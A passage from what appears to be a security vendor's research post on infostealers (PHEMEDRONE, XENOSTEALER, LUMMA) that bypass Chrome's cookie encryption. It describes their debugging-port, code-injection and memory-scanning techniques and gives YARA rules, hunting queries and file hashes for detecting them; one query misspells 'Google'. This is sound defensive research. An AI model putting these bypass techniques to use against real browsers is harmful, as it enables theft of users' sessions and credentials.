\",(0,t.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c\",rel:\"nofollow\",children:\"release\"}),\" (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image10.png\",alt:\"README.txt within PHEMEDRONE project\",width:\"1082\",height:\"445\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The malware first enumerates the different profiles within Chrome, then performs a browser check using function (\",(0,t.jsx)(e.code,{children:\"BrowserHelpers.NewEncryption\"}),\") checking for the Chrome browser with a version greater than or equal to \",(0,t.jsx)(e.code,{children:\"127\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image27.png\",alt:\"Chrome version verification in PHEMEDRONE\",width:\"658\",height:\"122\"})}),`\n`,(0,t.jsx)(e.p,{children:\"If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image34.png\",alt:\"High-level functions used cookie extraction in PHEMEDRONE\",width:\"877\",height:\"326\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"By viewing the \",(0,t.jsx)(e.code,{children:\"ChromeDevToolsWrapper\"}),\" class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (\",(0,t.jsx)(e.code,{children:\"9222\"}),\") is used along with window-position set to \",(0,t.jsx)(e.code,{children:\"-2400\"}),\",\",(0,t.jsx)(e.code,{children:\"-2400\"}),\" which is set off-screen preventing any visible window from alerting the victim.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image15.png\",alt:\"New Chrome process in remote debug mode\",width:\"1043\",height:\"275\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, the malware establishes a WebSocket connection to Chrome\\u2019s debugging interface making a request using deprecated Chrome DevTools Protocol method (\",(0,t.jsx)(e.code,{children:\"Network.getAllCookies\"}),\").\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image24.png\",alt:\"Chrome DevTools Protocol used to retrieve cookies\",width:\"1112\",height:\"351\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image32.png\",alt:\"Cookie data within network capture\",width:\"1012\",height:\"390\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"xenostealer\",children:\"XENOSTEALER\"}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.a,{href:\"https://github.com/moom825/XenoStealer/\",rel:\"nofollow\",children:\"XENOSTEALER\"}),\" is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the \",(0,t.jsx)(e.code,{children:\"app_bound_encrypted_key\"}),\". However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of \",(0,t.jsx)(e.code,{children:\"Chrome.exe\"}),\", then injects code using a helper class called \",(0,t.jsx)(e.a,{href:\"https://github.com/moom825/XenoStealer/blob/d1c7e242183a2c8582c179a1b546f0a5cdff5f75/XenoStealer/Injector/SharpInjector.cs\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"SharpInjector\"})}),\", passing the encrypted key as a parameter.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The injected code subsequently calls the \",(0,t.jsx)(e.code,{children:\"DecryptData\"}),\" method from the \",(0,t.jsx)(e.code,{children:\"GoogleChromeElevationService\"}),\" to obtain the decrypted key.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image29.png\",alt:\"Source code of the injected code\",width:\"1710\",height:\"981\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"lumma\",children:\"LUMMA\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In mid-October, the latest version of \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma\",rel:\"nofollow\",children:\"LUMMA\"}),\" implemented a new method to bypass Chrome cookie protection, as reported by \",(0,t.jsx)(e.a,{href:\"https://x.com/g0njxa\",rel:\"nofollow\",children:\"@g0njxa\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image40.png\",alt:\"\",width:\"586\",height:\"351\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (\",(0,t.jsx)(e.code,{children:\"130.0.6723.70\"}),\"). LUMMA first creates a visible Chrome process via \",(0,t.jsx)(e.code,{children:\"Kernel32!CreateProcessW\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image3.png\",alt:\"Dump of CreateProcessW lpApplicationName parameter\",width:\"420\",height:\"183\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This activity was followed up in the debugger with multiple calls to \",(0,t.jsx)(e.code,{children:\"NtReadVirtualMemory\"}),\" where we identified LUMMA searching within the Chrome process for \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image7.png\",alt:\"LUMMA seeks chrome.dll in Chrome\",width:\"690\",height:\"85\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once found, the malware copies the \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\" image to its own process memory using \",(0,t.jsx)(e.code,{children:\"NtReadVirtualMemory\"}),\". In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome\\u2019s \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" component.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image36.png\",alt:\"Lumma\\u2019s pattern scanning\",width:\"983\",height:\"289\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Lumma uses an obfuscated signature pattern to pinpoint the \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" functionality:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Below is the YARA rule after de-obfuscation:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`rule lumma_stealer\n{\n meta:\n author = \"Elastic Security Labs\"\n strings:\n $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}\n condition:\n all of them\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"After decoding and searching for the pattern in \",(0,t.jsx)(e.code,{children:\"chrome.dll\"}),\", this leads to the \",(0,t.jsx)(e.code,{children:\"CookieMonster\"}),\" destructor (\",(0,t.jsx)(e.a,{href:\"https://chromium.googlesource.com/chromium/src/net/+/master/cookies/cookie_monster.cc#657\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"net::CookieMonster::~CookieMonster\"})}),\").\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image25.png\",alt:\"Lumma pattern match on CookieMonster\",width:\"728\",height:\"339\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The cookies are then identified in memory and dumped out in clear text from the Chrome process.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image21.png\",alt:\"LUMMA dumping the cookie in clear text from Chrome\",width:\"659\",height:\"314\"})}),`\n`,(0,t.jsx)(e.p,{children:\"Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image12.png\",alt:\"Received stolen cookies on the C2 side\",width:\"699\",height:\"357\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"detection\",children:\"Detection\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below are the following behavioral detections that can be used to identify techniques used by information stealers:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unusual_process.toml#L8\",rel:\"nofollow\",children:\"Web Browser Credential Access via Unusual Process\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_web_browser_credential_access_via_unsigned_process.toml#L8\",rel:\"nofollow\",children:\"Web Browser Credential Access via Unsigned Process\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_access_to_browser_credentials_from_suspicious_memory.toml#L8\",rel:\"nofollow\",children:\"Access to Browser Credentials from Suspicious Memory\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_failed_access_attempt_to_web_browser_files.toml#L8\",rel:\"nofollow\",children:\"Failed Access Attempt to Web Browser Files\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/credential_access_browser_debugging_from_unusual_parent.toml#L3\",rel:\"nofollow\",children:\"Browser Debugging from Unusual Parent\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/da25aa57994ee265583227dbe6fe02261b65415c/behavior/rules/windows/discovery_potential_browser_information_discovery.toml#L8\",rel:\"nofollow\",children:\"Potential Browser Information Discovery\"})}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Additionally, the following queries can be used for hunting diverse related abnormal behaviors:\"}),`\n`,(0,t.jsx)(e.h2,{id:\"cookies-access-by-an-unusual-process\",children:\"Cookies access by an unusual process\"}),`\n`,(0,t.jsx)(e.p,{children:\"This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`FROM logs-endpoint.events.file-default*\n| where event.category == \"file\" and event.action == \"open\" and file.name == \"Cookies\" and file.path like \"*Chrome*\"\n| keep file.path, process.executable, agent.id\n| eval process_path = replace(to_lower(process.executable), \"\"\"c:\\\\\\\\users\\\\\\\\[a-zA-Z0-9\\\\.\\\\-\\\\_\\\\$]+\\\\\\\\\"\"\", \"c:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path\n| where agents_count \u003c= 2 and access_count \u003c=2\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image22.png\",alt:\"ES|QL query results for suspicious browser cookies file access\",width:\"1999\",height:\"1014\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"METASTEALER behavior tends to first terminate all running chrome instances then calls \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-cocreateinstance\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"CoCreateInstance\"})}),\" to instantiate the Google Chrome \",(0,t.jsx)(e.a,{href:\"https://chromium.googlesource.com/chromium/src/+/main/chrome/elevation_service/\",rel:\"nofollow\",children:\"elevation service\"}),\", this series of events can be expressed with the following EQL query:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`sequence by host.id with maxspan=1s\n[process where event.action == \"end\" and process.name == \"chrome.exe\"] with runs=5\n[process where event.action == \"start\" and process.name == \"elevation_service.exe\"]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image4.png\",alt:\"EQL query results for suspicious browser termination\",width:\"1999\",height:\"1014\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The previous hunt indicates suspicious agents but doesn't identify the source process. By \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4663\",rel:\"nofollow\",children:\"enabling registry object access auditing through event 4663\"}),\" on the Chrome Elevation service CLSID registry key \",(0,t.jsx)(e.code,{children:\"{708860E0-F641-4611-8895-7D867DD3675B}\"}),\", we can detect unusual processes attempting to access that key:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image9.png\",alt:\"Google Chrome Elevation COM registry access\",width:\"1999\",height:\"1384\"})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`FROM logs-system.security-default* | where event.code == \"4663\" and winlog.event_data.ObjectName == \"\\\\\\\\REGISTRY\\\\\\\\MACHINE\\\\\\\\SOFTWARE\\\\\\\\Classes\\\\\\\\CLSID\\\\\\\\{708860E0-F641-4611-8895-7D867DD3675B}\" and not winlog.event_data.ProcessName in (\"C:\\\\\\\\Program Files\\\\\\\\Google\\\\\\\\Chrome\\\\\\\\Application\\\\\\\\chrome.exe\", \"C:\\\\\\\\Program Files (x86)\\\\\\\\Google\\\\\\\\Chrome\\\\\\\\Application\\\\\\\\chrome.exe\") and not winlog.event_data.ProcessName like \"C:\\\\\\\\\\\\\\\\Program Files\\\\\\\\\\\\\\\\Google\\\\\\\\\\\\\\\\Chrome\\\\\\\\\\\\\\\\Application\\\\\\\\\\\\\\\\*\\\\\\\\\\\\\\\\elevation_service.exe\" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count \u003c= 2 and access_count \u003c=2\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below is an example of matches on the METASTEALER malware while calling \",(0,t.jsx)(e.code,{children:\"CoCreateInstance (CLSID_Elevator)\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image39.png\",alt:\"ES|QL query results for suspicious access to chrome elevation service registry\",width:\"1999\",height:\"1014\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer\",rel:\"nofollow\",children:\"PHEMEDRONE\"}),\" stealer uses the \",(0,t.jsx)(e.a,{href:\"https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e\",rel:\"nofollow\",children:\"known\"}),\" browser debugging method to collect cookies via Chromium API, this can be observed in the following screenshot where we can see an instance of NodeJs communicating with a browser instance with debugging enabled over port \",(0,t.jsx)(e.code,{children:\"9222\"}),\":\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image33.png\",alt:\"PHEMEDRONE - network connection to chrome over port 9222\",width:\"1999\",height:\"826\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The following EQL query can be used to look for unusual processes performing similar behavior:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`sequence by host.id, destination.port with maxspan=5s\n[network where event.action == \"disconnect_received\" and\n network.direction == \"ingress\" and\n process.executable in~ (\"C:\\\\\\\\Program Files\\\\\\\\Google\\\\\\\\Chrome\\\\\\\\Application\\\\\\\\chrome.exe\",\n\"C:\\\\\\\\Program Files\\\\\\\\Microsoft\\\\\\\\Edge\\\\\\\\Application\\\\\\\\msedge.exe\") and\n source.address like \"127.*\" and destination.address like \"127.*\"]\n[network where event.action == \"disconnect_received\" and network.direction == \"egress\" and not\n process.executable in~ (\"C:\\\\\\\\Program Files\\\\\\\\Google\\\\\\\\Chrome\\\\\\\\Application\\\\\\\\chrome.exe\",\n\"C:\\\\\\\\Program Files\\\\\\\\Microsoft\\\\\\\\Edge\\\\\\\\Application\\\\\\\\msedge.exe\") and source.address like \"127.*\" and destination.address like \"127.*\"]\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image1.png\",alt:\"EQL query results for browser debugging activity\",width:\"1999\",height:\"1026\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"chrome-browser-spawned-from-an-unusual-parent\",children:\"Chrome Browser Spawned from an Unusual Parent\"}),`\n`,(0,t.jsx)(e.p,{children:\"The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it\\u2019s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`FROM logs-endpoint.events.process-*\n| where event.category == \"process\" and event.type == \"start\" and to_lower(process.name) == \"chrome.exe\" and process.command_line like \"*--profile-directory=Default*\"\n| eval process_parent_path = replace(to_lower(process.parent.executable), \"\"\"c:\\\\\\\\users\\\\\\\\[a-zA-Z0-9\\\\.\\\\-\\\\_\\\\$]+\\\\\\\\\"\"\", \"c:\\\\\\\\\\\\\\\\users\\\\\\\\\\\\\\\\user\\\\\\\\\\\\\\\\\")\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path\n| where agents_count == 1 and total_executions \u003c= 10\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image18.png\",alt:\"ES|QL query results for chrome browser spawned from an unusual parent\",width:\"1999\",height:\"845\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"untrusted-binaries-from-chrome-application-folder\",children:\"Untrusted Binaries from Chrome Application folder\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Since the Chrome elevation service \",(0,t.jsx)(e.a,{href:\"https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56\",rel:\"nofollow\",children:\"trusts\"}),\" binaries running from the Chrome \",(0,t.jsx)(e.code,{children:\"program files\"}),\" folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"unsigned-dlls-loaded-from-google-chrome-application-folder\",children:\"Unsigned DLLs loaded from google chrome application folder\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`FROM logs-endpoint.events.library*\n| where event.category == \"library\" and event.action == \"load\" and to_lower(dll.path) like \"c:\\\\\\\\\\\\\\\\program files\\\\\\\\\\\\\\\\google\\\\\\\\\\\\\\\\chrome\\\\\\\\\\\\\\\\application\\\\\\\\\\\\\\\\*\" and not (dll.code_signature.trusted == true)\n| keep process.executable, dll.path, dll.hash.sha256, agent.id\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256\n| where agents_count == 1 and total_executions \u003c= 10\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"unsigned-executable-launched-from-google-chrome-application-folder\",children:\"Unsigned executable launched from google chrome application folder\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-sql\",children:`FROM logs-endpoint.events.process*\n| where event.category == \"library\" and event.type == \"start\" and (to_lower(process.executable) like \"c:\\\\\\\\\\\\\\\\program files\\\\\\\\\\\\\\\\google\\\\\\\\\\\\\\\\chrome\\\\\\\\\\\\\\\\application\\\\\\\\\\\\\\\\*\" or to_lower(process.executable) like \"c:\\\\\\\\\\\\\\\\scoped_dir\\\\\\\\\\\\\\\\program files\\\\\\\\\\\\\\\\google\\\\\\\\\\\\\\\\chrome\\\\\\\\\\\\\\\\application\\\\\\\\\\\\\\\\*\")\nand not (process.code_signature.trusted == true and process.code_signature.subject_name == \"Goole LLC\")\n| keep process.executable,process.hash.sha256, agent.id\n| stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256\n| where agents_count == 1 and total_executions \u003c= 10\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/katz-and-mouse-game/image6.png\",alt:\"ES|QL query results for malicious DLL loaded by Chrome\",width:\"1999\",height:\"845\"})}),`\n`,(0,t.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"stealer-bypasses-and-mitre-attck\",children:\"Stealer Bypasses and MITRE ATT\u0026CK\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic uses the \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that threats use against enterprise networks.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,t.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0006/\",rel:\"nofollow\",children:\"Credential Access\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,t.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1539/\",rel:\"nofollow\",children:\"Steal Web Session Cookie\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1555/\",rel:\"nofollow\",children:\"Credentials from Password Stores\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1057/\",rel:\"nofollow\",children:\"Process Discovery\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1559/001/\",rel:\"nofollow\",children:\"Inter-Process Communication: Component Object Model\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,t.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity.\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Stealc\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar\",rel:\"nofollow\",children:\"Windows.Infostealer.PhemedroneStealer\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar\",rel:\"nofollow\",children:\"Windows.Trojan.MetaStealer\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Xeno\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar\",rel:\"nofollow\",children:\"Windows.Trojan.Lumma\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar\",rel:\"nofollow\",children:\"Windows.Infostealer.Generic\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"All observables are also available for \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"Observable\"}),(0,t.jsx)(e.th,{children:\"Type\"}),(0,t.jsx)(e.th,{children:\"Name\"}),(0,t.jsx)(e.th,{children:\"Reference\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"num.exe\"}),(0,t.jsx)(e.td,{children:\"STEALC\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"HardCoreCrack.exe\"}),(0,t.jsx)(e.td,{children:\"PHEMEDRONE\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{children:\"Ranginess.exe\"}),(0,t.jsx)(e.td,{children:\"METASTEALER\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176\"}),(0,t.jsx)(e.td,{children:\"SHA-256\"}),(0,t.jsx)(e.td,{}),(0,t.jsx)(e.td,{children:\"LUMMA\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"b74